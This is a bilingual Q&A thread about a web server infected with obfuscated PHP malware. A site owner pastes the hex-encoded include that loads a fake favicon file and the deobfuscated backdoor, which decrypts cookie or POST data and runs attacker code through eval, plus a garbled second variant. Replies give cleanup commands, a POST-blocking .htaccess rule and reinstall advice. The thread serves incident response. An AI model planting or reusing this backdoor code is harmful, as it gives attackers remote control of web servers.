我的网站感染了经过混淆处理的 PHP 恶意软件 - 它在做什么 + 我该如何摆脱它?

My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it?

我在同一个网络服务器上托管了三个网站。最近我在其中一个网站上工作,注意到大约一个月前,一堆文件被更改了。具体来说,index.html 的所有实例都已重命名为 index.html.bak.bak,并且 index.php 文件已放在它们的位置。 index.php 文件比较简单;它们包含一个隐藏在每个网站文件系统某处的文件(看似随机文件夹),该文件已使用 JS 十六进制编码进行混淆,然后回显原始 index.html:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

这里包含的文件是

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

在另一个域上,它是

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

正如您可能猜到的那样,这些实际上并不是网站图标 - 它们只是 php 具有不同扩展名的文件。现在,我不知道这些文件的作用(这就是我在这里问的原因)。他们完全被混淆了,但是 https://malwaredecoder.com/ seems to be able to crack through it. The results can be found here, 但我已经在下面粘贴了去混淆的代码:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

此外,网站的其中一个内容文件夹中有一个名为init5.php的文件,经过尽可能多的去混淆后,变成:

$GLOBALS['893\Gt3'] = $_POST;
$GLOBALS['S9]<\<$'] = $_COOKIE;
@>P>r"$,('N6rTNj', NULL);
@>P>r"$,('TNjrN6"', 0);
@>P>r"$,('k3'r$'#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P">3T>a$(T3\<]tO(R3"$OIr`N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=">NP(),
            '"=' => 'x%<Fx',
        );
        echo @">3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

越看越乱码的PHP个文件,有点吓人。有。甚至 Wordpress 的 index.php 文件似乎也被感染了;混淆的 @includes 已添加到其中。此外,在其中一个网站上,有一个名为 'ssh' 的文件,似乎是某种二进制文件(也许是 'ssh' 程序本身?)

有谁知道这些是什么或做什么?他们是如何进入我的服务器的?我怎样才能摆脱它们并确保它们永远不会回来?

一些其他信息:我的虚拟主机是 Laughing Squid;我没有 shell 访问权限。服务器运行 Linux、Apache 2.4 和 PHP 5.6.29。谢谢!

我有同样的恶意软件。恶意软件添加或修改了 10 到 15 个文件。我使用 Quttera WordPress 插件(免费)来查找文件。大多数文件都可以删除(小心,Quttera id 比实际感染的要多)但是一些 WordPress 文件被修改并且必须被替换。

我还没有找到,如何防止这些文件出现在我的服务器上,但我能够摆脱它们,这是一个 oneliner 爬下文件夹并删除它们的方法:

find . -type f -name 'favicon_*.ico' -delete -print

我遇到了同样的问题。 它是由恶意的 http post 请求引起的。 这是一篇关于如何阻止它的好文章:

.htaccess 文件中的以下内容将停止所有 post 请求。 https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>

这不是您需要破坏您的网站和服务器的黑客攻击。这只是一个 php 技巧。删除所有恶意 php 文件和代码,一切都会好起来的。这是我在 drupal 上的做法。 http://rankinstudio.com/Drupal_ico_index_hack

不得不自己编写一个 PHP 脚本来扫描整个服务器树,列出所有目录路径,并编写一个脚本来扫描这些路径以查找感染。只能部分清洁,但在行人清洁方面提供了急需的帮助。

注意:
它写得不好,可能应该在使用后删除。但这对我有帮助。

压缩副本为 here
没有保证;解压缩并查看您在服务器上放置的内容,然后再上传!

更新:现在清理更多(不是全部!)。跟进手部清洁(见下文)。

You can't trust anything on the server at this point.

  • Reinstall the OS

  • Reinstall known good copies of your code with a clean or known-good version of the database.

At this point there's no use in just replacing/deleting "bad" files because the attacker could have done absolutely anything ranging from "nothing" to replacing system level software with hacked versions that will do anything desired. Just for an example, at one point someone wrote malware into a compiler so even if the executable was rebuilt, the maware was still there, also it prevented the debugger from detecting it.

There are various cleaners available, but they rely on knowing/detecting/undoing everything the attacker might have done, which is impossible.

If you had good daily backups, you could do a diff between the "what you have" and "what you had before" and see what has changed, however you would still need to carefully examine or restore your database since many attacks involve changing data, not code.